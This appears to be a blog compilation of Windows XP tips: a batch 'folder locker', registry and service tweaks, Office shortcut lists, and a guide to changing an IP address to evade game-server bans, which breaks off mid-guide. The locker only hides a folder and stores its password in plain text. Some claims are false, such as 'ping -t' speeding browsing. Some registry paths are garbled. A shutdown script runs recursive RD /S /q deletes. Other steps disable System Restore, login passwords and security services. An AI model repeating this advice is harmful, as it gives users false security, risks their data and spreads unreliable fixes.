How to lock a folder without using any software in xp!

How to lock a folder without using any software in xp!

*Copy the following codes (Marked in blue colour):

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

* Now paste it in notepad.
* Change the "type your password here" with your password (Marked as bold in the above posted matter).
* Save it as batch file(with extension .bat).Any name will do.
* Now you see a batch file. Double click it to create a folder locker.
* A new folder named Locker would be formed at the same location.
* Now brings all the files you want to hide in the locker folder.
* Now double click the batch file to lock the folder namely Locker.
* If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.

Removing Unwanted Fonts

One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them. For instance, you may have foreign language fonts and other symbol fonts (such as Wingdings) that you never use.

To delete unneeded fonts, follow these steps:
1) Open the Fonts folder in Control Panel.
2) Select Edit/Select All and then Edit/Copy.
3) Create a new folder on your desktop, open it, and select Edit/Paste.
4) In this new folder, delete any of the fonts you do not want.
5) Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6) Go back to your new desktop folder and click Edit/Select All.
7) Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.

Tip:

You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process.

Disabling the Boot Logo

You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk. (But if you are not having problems with your computer, this isn't such a big deal.)

To remove the boot logo, follow these steps:
1) Select Start/Run, type msconfig, and click OK.
2) In the System Configuration Utility, click the BOOT.INI tab.
3) On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.

Disabling Recent Documents History

Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me.

The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:

1) Open the Registry Editor (select Start/Run, type regedit, and click OK).
2) Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3) Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4) Set the Data Value to 1 to enable the restriction.
5) Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.

Manual IP Addressing on Small Office/Home Networks

Windows XP is configured to help you take care of networking. It uses the TCP/IP protocol for networking in workgroups, or what you might call small office or home networks that do not use a dedicated server.

The problem is that automatic IP addressing can be slow. When your computer boots, it has to query the network to see what IP addresses are already in use and then assign itself one. If you want to speed up the boot time a bit, consider manually assigning IP addresses to all computers on the network. This way, the network computers do not have to worry about locating an automatic IP address. Because one is manually configured, the operating system doesn't have to spend time solving this problem.

This isn't a networking book, however, so I won't delve into the implications of using a manual IP address, but if you are using a computer that functions as a host computer to the Internet (using Internet Connection Sharing [ICS]), you can get into connectivity problems if you change the configuration of the IP address. However, you can still work around this problem by starting with the ICS host computer.

Select Start/Connect To/Show All Connections. Right-click your network adapter card and click Properties. On the General tab, select TCP/IP in the list of services and click the Properties button.

In the TCP/IP properties, you can see if you use an automatic or manual IP address. In the example in Figure 4-5, I have configured a manual IP address of 90.0.0.1 and a default subnet mask. The other computers on my office network each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3, 90.0.0.4, and so on. This way, each computer has a permanent IP address, which helps increase boot time. Note that if you change the IP addresses of your computers, they must all use the same subnet mask. A default subject mask of 255.255.255.0 will keep you in good shape.

Make sure you understand the implications of changing IP addresses on your network. If you have no networking experience at all, you may be wiser to leave the automatic IP addressing as is and try to gain some speed using the additional suggestions in this chapter.

Speed Tips and Tricks for Windows XP Startup

Aside from startup programs, services, and the Prefetch folder, there are a number of other startup procedures and issues you can modify to help Windows XP start faster. The following sections explore those tips and tricks.

General keyboard-only commands

• F1: Starts Windows Help
• F10: Activates menu bar options
• SHIFT+F10 Opens a shortcut menu for the selected item (this is the same as right-clicking an object
• CTRL+ESC: Opens the Start menu (use the ARROW keys to select an item)
• CTRL+ESC or ESC: Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)
• ALT+DOWN ARROW: Opens a drop-down list box
• ALT+TAB: Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)
• SHIFT: Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature
• ALT+SPACE: Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)
• ALT+- (ALT+hyphen): Displays the Multiple Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window)
• CTRL+TAB: Switch to the next child window of a Multiple Document Interface (MDI) program
• ALT+underlined letter in menu: Opens the menu
• ALT+F4: Closes the current window
• CTRL+F4: Closes the current Multiple Document Interface (MDI) window
• ALT+F6: Switch between multiple windows in the same program (for example, when the Notepad Find dialog box is displayed, ALT+F6 switches between the Find dialog box and the main Notepad window)
Shell objects and general folder/Windows Explorer

Source::ohc
May 13
Ayush
For a selected object:
• F2: Rename object
• F3: Find all files
• CTRL+X: Cut
• CTRL+C: Copy
• CTRL+V: Paste
• SHIFT+DELETE: Delete selection immediately, without moving the item to the Recycle Bin
• ALT+ENTER: Open the properties for the selected object
To copy a file
Press and hold down the CTRL key while you drag the file to another folder.

Sourse ::ohc
May 13
Ayush
Keyboard Shortcuts for Internet Explorer
To Select all items on a webpage use CTRL and A.

To Copy a selected item to the clipboard use CTRL and C.

To Paste an item from the clipboard into a document use CTRL and V.

To Add the current page/document to your favorites use CTRL and D.

To Open the IE search utility use CTRL and E.

To Open the FIND box to search the current document use CTRL and F.

To Open the History utility use CTRL and H.

To Open the Favorites utility use CTRL and I.

To Go to a new location/document use CTRL and L. Also CTRL and O.

To Open a new Explorer window use CTRL and N.

To Print the current page/document use CTRL and P.

To Refresh the current page/document use CTRL and R. Also you can use the F5 key.

To Save the current document/page use CTRL and S.

To Close the current Explorer window use CTRL and W.

MS Office 2000 Tutorials & Keyboard Shortcut

Keyboard shortcuts can save time and the effort of switching from the keyboard to the mouse to execute simple commands. Print this list of Word keyboard shortcuts and keep it by your computer for a quick reference.


WORD

Note: A plus sign indicates that the keys need to be pressed at the same time.


Action Keystroke

Document actions
Open a file CTRL+O
New file CTRL+N
Close a file CTRL+W
Save As F12
Save CTRL+S or SHIFT+F12
Print Preview CTRL+F2
Print CTRL+P
Show/Hide paragraph symbols CTRL+*
Spelling and grammar F7
Help F1
Find CTRL+F
Replace CTRL+H
Go To CTRL+G

Cursor movement
Select all - entire document CTRL+A
Select from cursor to beginning of line SHIFT+Home
Select from cursor to end of line SHIFT+END
Go to beginning of line HOME
Go to end of line END
Go to beginning of document CTRL+Home
Go to end of document CTRL+End

Formatting
Cut CTRL+X
Copy CTRL+C
Paste CTRL+V
Undo CTRL+Z
Redo CTRL+Y
Format painter CTRL+SHIFT+C
Left alignment CTRL+L
Center alignment CTRL+E
Right alignment CTRL+R
Justified CTRL+J
Delete previous word CTRL+Backspace
Apply bulleted list CTRL+SHIFT+L
Indent CTRL+M
Page break CTRL+Enter
Action Keystroke


Text Style
Font face CTRL+SHIFT+F
Font size CTRL+SHIFT+P
Bold CTRL+B
Italics CTRL+I
Underline CTRL+U
Double underline CTRL+SHIFT+D
Word underline CTRL+SHIFT+W
All caps CTRL+SHIFT+A
Change case SHIFT+F3
Subscript CTRL+=
Superscript CTRL+SHIFT+=
Make web hyperlink CTRL+K

Tables
Go to next cell Tab
Go to previous cell SHIFT+Tab
Go to beginning of column ALT+PageUp
Highlight to beginning of column ALT+SHIFT+PageUp
Go to end of column ALT+PageDown
Highlight to end of column ALT+SHIFT+PageDown
Go to beginning of row ALT+Home
Highlight to beginning of row ALT+SHIFT+Home
Go to end of row ALT+End
Highlight to end of row ALT+SHIFT+End
Column break CTRL+SHIFT+Enter

Miscellaneous
Copyright symbol - © ALT+CTRL+C
Date field ALT+SHIFT+D
Go to footnotes ALT+CTRL+F
Show/Hide ¶ CTRL+SHIFT+8
Thesaurus SHIFT+F7


EXCEL

Note: A plus sign indicates that the keys need to be pressed at the same time.


Action Keystroke

Document actions
Open a file CTRL+O
New file CTRL+N
Save As F12
Save CTRL+S
Print CTRL+P
Find CTRL+F
Replace CTRL+H
Go to F5

Cursor Movement
One cell up up arrow
One cell down down arrow
One cell right Tab
One cell left SHIFT+Tab
Top of worksheet (cell A1) CTRL+Home
End of worksheet
(last cell with data) CTRL+End
End of row Home
End of column CTRL+left arrow
Move to next worksheet CTRL+PageDown

Formulas
Apply AutoSum ALT+=
Current date CTRL+;
Current time CTRL+SHIFT+:
Spelling F7
Help F1
Macros ALT+F8
Action Keystroke

Selecting Cells
All cells left of current cell SHIFT+left arrow
All cells right of current cell SHIFT+right arrow
Entire column CTRL+Spacebar
Entire row SHIFT+Spacebar
Entire worksheet CTRL+A

Text Style
Bold CTRL+B
Italics CTRL+I
Underline CTRL+U
Strikethrough CTRL+5

Formatting
Edit active cell F2
Format as currency with 2 decimal places SHIFT+CTRL+$
Format as percent with no decimal places SHIFT+CTRL+%
Cut CTRL+X
Copy CTRL+C
Paste CTRL+V
Undo CTRL+Z
Redo CTRL+Y
Format cells dialog box CTRL+1



POWERPOINT

Action Keystroke

Document actions
Open a presentation CTRL+O
New presentation CTRL+N
Save As F12
Save CTRL+S
Print CTRL+P
Help F1

Presentation actions
Begin slide show F5
Next slide ENTER or
Down arrow key
Previous slide BACKSPACE or
Up arrow key
Activate pen tool CTRL+P
Erase pen strokes E
Deactivate pen tool CTRL+A
Show/Hide black screen B
Show/Hide white screen W
Show/Hide pointer & button A
End slide show ESC
Action Keystroke

Formatting
Select all CTRL+A
Copy CTRL+C
Cut CTRL+X
Paste CTRL+V
Undo CTRL+Z
Redo CTRL+Y
Bold CTRL+B
Italics CTRL+I
Underline CTRL+U
Left justified CTRL+L
Center justified CTRL+E
Right justified CTRL+R
Promote list item ALT+SHIFT+Left arrow
Demote list item ALT+SHIFT+Right arrow or TAB

Editing
Find CTRL+F
Replace CTRL+H
Insert hyperlink CTRL+K
New slide CTRL+M
Spell checker F7
Macros ALT+F8


Run the slide show and press the F1 key to view all keyboard shortcuts applicable when running a slide show.


ACCESS

Action Keystroke

Database actions
Open existing database CTRL+O
Open a new database CTRL+N
Save CTRL+S
Save record
SHIFT+ENTER

Print
CTRL+P

Display database window
F11

Find and Replace
CTRL+F

Copy
CTRL+C

Cut
CTRL+X

Paste
CTRL+V

Undo
CTRL+Z

Help
F1

Toggle between Form and Design view
F5





Other
Insert line break in a memo field CTRL+ENTER
Insert current date CTRL+;
Insert current time CTRL+:
Copy data from previous record CTRL+'
Add a record CTRL++
Delete a record CTRL+-

Configure for Auto-Logon

If you are the only person using the computer and what to have it automatically log you on,
Start / Run / "control userpasswords2" - no quotes
Uncheck User must enter a user name and password to use this computer
Services You Can Disable
There are quite a few services you can disable from starting automatically.
This would be to speed up your boot time and free resources.
They are only suggestions so I suggestion you read the description of each one when you run Services
and that you turn them off one at a time.
Some possibilities are:
Alerter - Sends alert messages to specified users that are connected to the server computer.
Application Management - Allows software to tap directly into the Add/Remove Programs feature via the Windows Installer technology.
Background Intelligent Transfer Service - The Background Intelligent Transfer service is used by programs (such as Windows AutoUpdate) to download files by using spare bandwidth.
Clipbook - ClipBook permits you to cut and paste text and graphics over the network.
Error Reporting Service - Allows applications to send error reports to Microsoft in the event of an application fault.
Fast User Switching - Windows XP allows users to switch quickly between accounts, without requiring them to log off.
Help and Support - Allows the XP Built-in Help and Support Center to run.
IMAPI CD-Burning COM Service - You don't need this if you have other software to create CDs.
Indexing Service - Indexes contents and properties of files on local and remote computers; provides rapid access to files through flexible querying language.
IP SEC - Manages IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. If you are not on a domain, you likely don't need this running.
Messenger - Transmits net send and Alerter service messages between clients and servers. This is how a lot of pop-up windows start appearing on your desktop.
Net Logon - Supports pass-through authentication of account logon events for computers in a domain. If you are not on a domain, you don't need this running
Network DDE - Provides network transport and security for Dynamic Data Exchange (DDE) for programs running on the same computer or on different computers.
NT LM Security Support Provider - Provides security to remote procedure call (RPC) programs that use transports other than named pipes.
Performance Logs and Alerts - Collects performance data from local or remote computers based on preconfigured schedule parameters, then writes the data to a log or triggers an alert. If you don't need to monitor your performance logs, then you don't need this service.
Portable Media Serial Number - Retrieves the serial number of any portable music player connected to your computer
QOS RSVP - Provides network signaling and local traffic control setup functionality for QoS-aware programs and control applets.
Remote Desktop Help Session Manager - Manages and controls Remote Assistance. If you are not using Remote Desktop you don't need this service.
Remote Registry - Enables remote users to modify registry settings on this computer.
Routing & Remote Access - Offers routing services to businesses in local area and wide area network environments. Allows dial-in access.
Secondary Login - Enables starting processes under alternate credentials. This is what allows you to run an application as another user.
Smart Card - Manages access to smart cards read by this computer.
Smart Card Helper - Enables support for legacy non-plug and play smart-card readers used by this computer.
SSDP Discovery Service - Enables discovery of UPnP devices on your home network.
TCP/IP NetBIOS Helper - Enables support for NetBIOS over TCP/IP (NetBT) service and NetBIOS name resolution. This should not be needed in today's network environment.
Telnet - Enables a remote user to log on to this computer and run programs, and supports various TCP/IP Telnet clients.
Uninterruptible Power Supply Service - Manages an uninterruptible power supply (UPS) connected to the computer.
Universal Plug and Play Device Host - Provides support to host Universal Plug and Play devices
Upload Manager - Manages synchronous and asynchronous file transfers between clients and servers on the network.
Volume Shadow Copy Service - Manages and implements Volume Shadow Copies used for backup and other purposes.
Web Client - Enables Windows-based programs to create, access, and modify non-local files across the Internet.
Wireless Zero Configuration - Provides automatic configuration for the 802.11 adapters
WMI Performance Adapter - Provides performance library information from WMI HiPerf providers.

Restoring Desktop Icon to the Quicklaunch Bar

If you mistakenly deleted the icon for the Desktop on the Quicklaunch toolbar
Go to C:\Documents and Settings\user_name\Application Data\Microsoft\Internet Explorer\Quick Launch
(where user_name is replaced by your login name)
Create a Text file called ShowDesktop.SCF with the following contents:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop

Increase ur internet speed

goto run
type cmd
type ipconfig/all
note ur dns server ip
then again goto run
type ping -t
dont close the black window till u r using internet...
this trick actually forces data transfer making u browse faster..
u can typ the above ping command in a notepad file and save it as smthing.bat
now u just have to double click on the file...

This is a quick and easy way to hide your stuff from prying eyes.

Now there are a few ways to hide your folders and files but these are the quickest and easyest.

Way # 1

- Right click on the folder/file

- Scroll down to Properties

- Click The hiddel box

- Click apply

DISABLE PREFETCH ON LOW MEMORY SYSTEMS

Prefetch is designed to speed up program launching by preloading programs into memory - not a good idea is memory is in short supply, as it can make programs hang. To disable prefetch:

1. Click 'Start' then 'Run'

2. Type in 'Regedit' then Click 'Ok'

3. Navigate to 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Session Manager\Memory Management\PrefetchParameters\'

4. Right-Click on "EnablePrefetcher" and set the value to '0'

5. Reboot.

REMOVE ANNOYING DELETE CONFIRMATION MESSAGES

Although not strictly a performance tweak I love this fix as it makes my machine 'feel' faster. I hate the annoying 'are you sure?' messages that XP displays, especially if I have to use a laptop touchpad to close them. To remove these messages:

1. Right-Click on the 'Recycle Bin' on the desktop and then Click 'Properties'

2. Clear the 'Display Delete Confirmation Dialog' check box and Click 'Ok'

If you do accidently delete a file don't worry as all is not lost. Just go to your Recycle Bin and 'Restore' the file.

ADD CORRECT NETWORK CARD SETTINGS

Some machines suffer from jerky graphics or high CPU usage even when a machine is idle. A possible solution for this, which, can also can help network performance is to:

1. RightClick 'My Computer'

2. Select 'Manage'

3. Click on 'Device Manager'

4. DoubleClick your network adaptor under 'Network Adapters'

5. In the new window, select the 'Advanced' tab

6. Select 'Connection Type' and select the correct type for your card and then Reboot

ENSURE XP IS USING DMA MODE

XP enables DMA for Hard-Drives and CD-Roms by default on most ATA or ATAPI (IDE) devices. However, sometimes computers switch to PIO mode which is slower for data transfer - a typical reason is because of a virus. To ensure that your machine is using DMA:

1. Open 'Device Manager'

2. Double-Click 'IDE ATA/ATAPI Controllers'

3. Right-Click 'Primary Channel' and select 'Properties' and then 'Advanced Settings'

4. In the 'Current Transfer Mode' drop-down box, select 'DMA if Available' if the current setting is 'PIO Only'

ENSURE XP IS USING DMA MODE

XP enables DMA for Hard-Drives and CD-Roms by default on most ATA or ATAPI (IDE) devices. However, sometimes computers switch to PIO mode which is slower for data transfer - a typical reason is because of a virus. To ensure that your machine is using DMA:

1. Open 'Device Manager'

2. Double-Click 'IDE ATA/ATAPI Controllers'

3. Right-Click 'Primary Channel' and select 'Properties' and then 'Advanced Settings'

4. In the 'Current Transfer Mode' drop-down box, select 'DMA if Available' if the current setting is 'PIO Only'

FREE UP MEMORY

I found this useful app via FixMyXP. ClearMem Is an Excellent Tool for speeding up your XP Computer (especially if your system has been on for awhile and you have a lot of applications open). What it does, is it Forces pages out of physical memory and reduces the size of running processes if working sets to a minimum. When you run this tool, the system pauses because of excessive high-priority activity associated with trimming the working sets. To run this tool, your paging file must be at least as large as physical memory. To Check your Paging File:

1. Go to your control panel, then Click on 'System', then go to the 'Advanced' Tab, and Under 'Performance' Click 'Settings' then the 'Advanced' Tab

2. On the Bottom you should see 'Virtual Memory' and a value. This is the value that must be at least as large as how much memory is in your system.

3. If the Virtual Memory Value is smaller than your system memory, Click Change and change the Min Virtual Memory to a number that is greater than your total system memory, then Click 'Set' and Reboot.

4. Once you have rebooted install ClearMem

SPEED UP BOOT TIMES III

When your computer boots up it usually has to check with the network to see what IP addresses are free and then it grabs one of these. By configuring a manually assigned IP address your boot time will improve. To do this do the following:

1. Click on 'Start' and then ''Connect To/Show All Connections'

2. Right-Click your network adapter card and Click 'Properties'.

3. On the 'General' tab, select 'TCP/IP' in the list of services and Click 'Properties'

4.I n the TCP/IP properties, Click 'Use the following address' and enter an IP address for your PC. If you are using a router this is usually 192.168.0.xx or 192.168.1.xx. If you are not sure what address you could check with your ISP or go to 'Start/run' and type 'cmd' and then 'ipconfig/all'. This will show your current IP settings which you will need to copy.

5. Enter the correct details for 'Subnet mask', 'Default gateway' and 'DNS Server'. Again if you are not sure what figures to enter use 'ipconfig/all' as in stage 4.

SPEED UP BOOT TIMES II

When your PC starts it usually looks for any bootable media in any floppy or cd-rom drives you have installed before it gets around to loading the Operating System from the HDD. This can waste valuable time. To fix this we need to make some changes to the Bios.

1. To enter the bios you usually press 'F2' or 'delete' when your PC starts

2. Navigate to the 'Boot' menu

3. Select 'Boot Sequence'

4. Then either move your Hard drive to the top position or set it as the 'First Device'

5. Press the 'Escape' key to leave the bios. Don't forget to save your settings before exiting

Note: Once this change has been made, you won't be able to boot from a floppy disc or a CD-rom. If for some strange reason you need to do this in the future, just go back into your bios, repeat the steps above and put your floppy or CD-rom back as the 'First Device'

SPEED UP BOOT TIMES I

This tweak works by creating a batch file to clear the temp and history folders everytime you shutdown so that your PC doesn't waste time checking these folders the next time it boots. It's quite simple to implement:

1. Open Notepad and create a new file with the following entries:

RD /S /q "C:\Documents and Settings\"UserName without quotes"\Local Settings\History"
RD /S /q "C:\Documents and Settings\Default User\Local Settings\History"
RD /S /q "D:\Temp\" <--"Deletes temp folder, type in the location of your temp folder"

2. Save the new as anything you like but it has to be a '.bat' file e.g. fastboot.bat or deltemp.bat

3. Click 'Start' then 'Run'

4. Type in 'gpedit.msc' and hit 'ok'

5. Click on 'Computer Configuration' then 'Windows Settings'

6. Double-Click on 'Scripts' and then on 'Shutdown'

7. Click 'Add' and find the batch file that you created and then press 'Ok'

IMPROVE XP SHUTDOWN SPEED

This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.

Go to Start then select Run
Type 'Regedit' and Click ok
Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Select 'WaitToKillAppTimeout'
Right Click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now select 'HungAppTimeout'
Right Click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'
Select 'WaitToKillAppTimeout'
Right Click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contr ol\'
Select 'WaitToKillServiceTimeout'
Right Click and select 'Modify'
Change the value to '1000'
Click 'OK'

MAKE PROGRAMS LOAD FASTER

This little tweak tends to work for most programs. If your program doesn't load properly just undo the change. For any program:

Right-Click on the icon/shortcut you use to launch the program
Select properties
In the 'target' box, add ' /prefetch:1' at the end of the line.
Click "Ok"
Voila - your programs will now load faster.

MAKE YOUR MENUS LOAD FASTER

This is one of my favourite tweaks as it makes a huge difference to how fast your machine will 'feel'. What this tweak does is remove the slight delay between *** on a menu and XP displaying the menu.

Go to Start then Run
Type 'Regedit' then Click 'Ok'
Find "HKEY_CURRENT_USER\Control Panel\Desktop\"
Select "MenuShowDelay"
Right Click and select "Modify'
Reduce the number to around "100"
This is the delay time before a menu is opened. You can set it to "0" but it can make windows really hard to use as menus will open if you just look at them - well move your mouse over them anyway. I tend to go for anywhere between 50-150 depending on my mood

IMPROVE SWAPFILE PERFORMANCE

If you have more than 256MB of RAM this tweak will considerably improve your performance. It basically makes sure that your PC uses every last drop of memory (faster than swap file) before it starts using the swap file.

Go to Start then Run
Type "msconfig.exe" then ok
Click on the System.ini tab
Expand the 386enh tab by *** on the plus sign
Click on new then in the blank box type"ConservativeSwapfileUsage=1"
Click OK
Restart PC

IMPROVE BOOT TIMES

A great new feature in Microsoft Windows XP is the ability to do a boot defragment. This places all boot files next to each other on the disk to allow for faster booting. By default this option in enables but on some builds it is not so below is how to turn it on.

Go to Start Menu and Click Run
Type in "Regedit" then Click ok
Find "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\Bo otOp t imizeFunction"
Select "Enable" from the list on the right
Right on it and select "Modify"
Change the value to "Y to enable"
Reboot

DISABLE SYSTEM SOUNDS

Surprisingly, the beeps that your computer makes for various system sounds can slow it down, particularly at startup and shut-down. To fix this turn off the system sounds:

Open Control Panel
Click Sounds and Audio Devices
Check Place volume icon in taskbar
Click Sounds Tab
Choose "No Sounds" for the Sound Scheme
Click "No"
Click "Apply"
Click "OK"

SPEEDUP FOLDER ACCESS - DISABLE LAST ACCESS UPDATE

If you have a lot of folders and subdirectories on your computer, when you access a directory XP wastes a lot of time updating the time stamp showing the last access time for that directory and for ALL sub directories. To stop XP doing this you need to edit the registry. If you are uncomfortable doing this then please do not attempt.

Go to Start and then Run and type "regedit"
Click through the file system until you get to "HKEY_LOCAL_MACHINE\System\CurrentControlSet\C ontr ol\FileSystem"
Right-Click in a blank area of the window on the right and select 'DWORD Value'
Create a new DWORD Value called 'NtfsDisableLastAccessUpdate'
Then Right Click on the new value and select 'Modify'
Change the Value Data to '1'
Click 'OK'

DEFRAGMENT YOUR PAGEFILE

Keeping your pagefile defragmented can provide a major performance boost. One of the best ways of doing this is to creat a separate partition on your hard drive just for your page file, so that it doesn't get impacted by normal disk usage. Another way of keeping your pagefile defragmented is to run PageDefrag. This cool little app can be used to defrag your pagefile, and can also be set to defrag the pagefile everytime your PC starts. To install:

Download and Run PageDefrag
Tick "Defrag at next Reboot",
Click "Ok"
Reboot

TURN OFF SYSTEM RESTORE

System Restore can be a useful if your computer is having problems, however storing all the restore points can literally take up Gigabytes of space on your hard drive. To turn off System Restore:

Open Control Panel
Click on Performance and Maintenance
Click on System
Click on the System Restore tab
Tick 'Turn off System Restore on All Drives'
Click 'Ok'

DISABLE UNNECESSARY SERVICES

Because Windows XP has to be all things to all people it has many services running that take up system resources that you will never need. Below is a list of services that can be disabled on most machines:

Alerter
Clipbook
Computer Browser
Distributed Link Tracking Client
Fast User Switching
Help and Support - (If you use Windows Help and Support leave this enabled)
Human Interface Access Devices
Indexing Service
IPSEC Services
Messenger
Netmeeting Remote Desktop Sharing (disabled for extra security)
Portable Media Serial Number
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Remote Registry Service
Secondary Logon
Routing & Remote Access (disabled for extra security)
Server
SSDP Discovery Service - (Unplug n' Pray will disable this)
Telnet
TCP/IP NetBIOS Helper
Upload Manager
Universal Plug and Play Device Host
Windows Time
Wireless Zero Configuration (Do not disable if you use a wireless network)
Workstation
To disable these services:

Go to Start and then Run and type "services.msc"
Doubleclick on the service you want to change
Change the startup type to 'Disable"

REMOVE FONTS FOR SPEED

Fonts, especially TrueType fonts, use quite a bit of system resources. For optimal performance, trim your fonts down to just those that you need to use on a daily basis and fonts that applications may require.

1. Open Control Panel
2. Open Fonts folder
3. Move fonts you don't need to a temporary directory (e.g. C:\FONTBKUP?) just in case you need or want to bring a few of them back. The more fonts you uninstall, the more system resources you will gain.

RUN BOOTVIS - IMPROVE BOOT TIMES

BootVis will significantly improve boot times

1. Download and Run
2. Select Trace
3. Select Next Boot and Driver Trace
4. A Trace Repetitions screen will appear, select Ok and Reboot
5. Upon reboot, BootVis will automatically start, analyze and log your system's boot process. When it's done, in the menu go to Trace and select Optimize System
6. Reboot.
7. When your machine has rebooted wait until you see the Optimizing System box appear. Be patient and wait for the process to complete

REMOVE THE DESKTOP PICTURE

Your desktop background consumes a fair amount of memory and can slow the loading time of your system. Removing it will improve performance.

1. Right Click on Desktop and select Properties
2. Select the Desktop tab
3. In the Background window select None
4. Click Ok

OPTIMISE YOUR PAGEFILE

If you give your pagefile a fixed size it saves the operating system from needing to resize the page file.

1. Right Click on My Computer and select Properties
2. Select the Advanced tab
3. Under Performance choose the Settings button
4. Select the Advanced tab again and under Virtual Memory select Change
5. Highlight the drive containing your page file and make the initial Size of the file the same as the Maximum Size of the file.

Windows XP sizes the page file to about 1.5X the amount of actual physical memory by default. While this is good for systems with smaller amounts of memory (under 512MB) it is unlikely that a typical XP desktop system will ever need 1.5 X 512MB or more of virtual memory. If you have less than 512MB of memory, leave the page file at its default size. If you have 512MB or more, change the ratio to 1:1 page file size to physical memory size.

IMPROVE MEMORY USAGE

Cacheman Improves the performance of your computer by optimizing the disk cache, memory and a number of other settings.

Once Installed:

1.Go to Show Wizard and select All
2.Run all the wizards by selecting Next or Finished until you are back to the main menu. Use the defaults unless you know exactly what you are doing.
3.Exit and Save Cacheman
4.Restart Windows

SPEEDUP FOLDER BROWSING

You may have noticed that everytime you open my computer to browse folders that there is a slight delay. This is because Windows XP automatically searches for network files and printers everytime you open Windows Explorer. To fix this and to increase browsing significantly:

1. Open My Computer
2. Click on Tools menu
3. Click on Folder Options
4. Click on the View tab.
5. Uncheck the Automatically search for network folders and printers check box
6. Click Apply
7. Click Ok
8. Reboot your computer

DISABLE PERFORMANCE COUNTERS

Windows XP has a performance monitor utility which monitors several areas of your PC's performance. These utilities take up system resources so disabling is a good idea.

To disable:

1. download and install the Extensible Performance Counter List
2.Then select each counter in turn in the 'Extensible performance counters' window and clear the 'performance counters enabled' checkbox at the bottom.button below.

OPTIMISE DISPLAY SETTINGS

Windows XP can look sexy but displaying all the visual items can waste system resources. To optimise:

1.Go to Start
2. Click Settings
3. Click Control Panel
4. Click System
5. Click Advanced tab
6. In the Performance tab Click Settings
7. Leave only the following ticked:
- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the desktop
- Use visual styles on windows and buttons

OPTIMISE DISPLAY SETTINGS

Windows XP can look sexy but displaying all the visual items can waste system resources. To optimise:

1.Go to Start
2. Click Settings
3. Click Control Panel
4. Click System
5. Click Advanced tab
6. In the Performance tab Click Settings
7. Leave only the following ticked:
- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the desktop
- Use visual styles on windows and buttons

DISABLE INDEXING SERVICES

Indexing Services is a small little program that uses large amounts of RAM and can often make a computer endlessly loud and noisy. This system process indexes and updates lists of all the files that are on your computer. It does this so that when you do a search for something on your computer, it will search faster by scanning the index lists. If you don't search your computer often, or even if you do search often, this system service is completely unnecessary. To disable do the following:

1. Go to Start
2. Click Settings
3. Click Control Panel
4. Double-Click Add/Remove Programs
5. Click the Add/Remove Window Components
6. Uncheck the Indexing services
7. Click Next

to change your IP in 30 seconds

The following is a guide on how to change your IP in 30 seconds or less. This can be used if your IP has been banned from a game server, or on gunbound if your IP get's blocked.

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
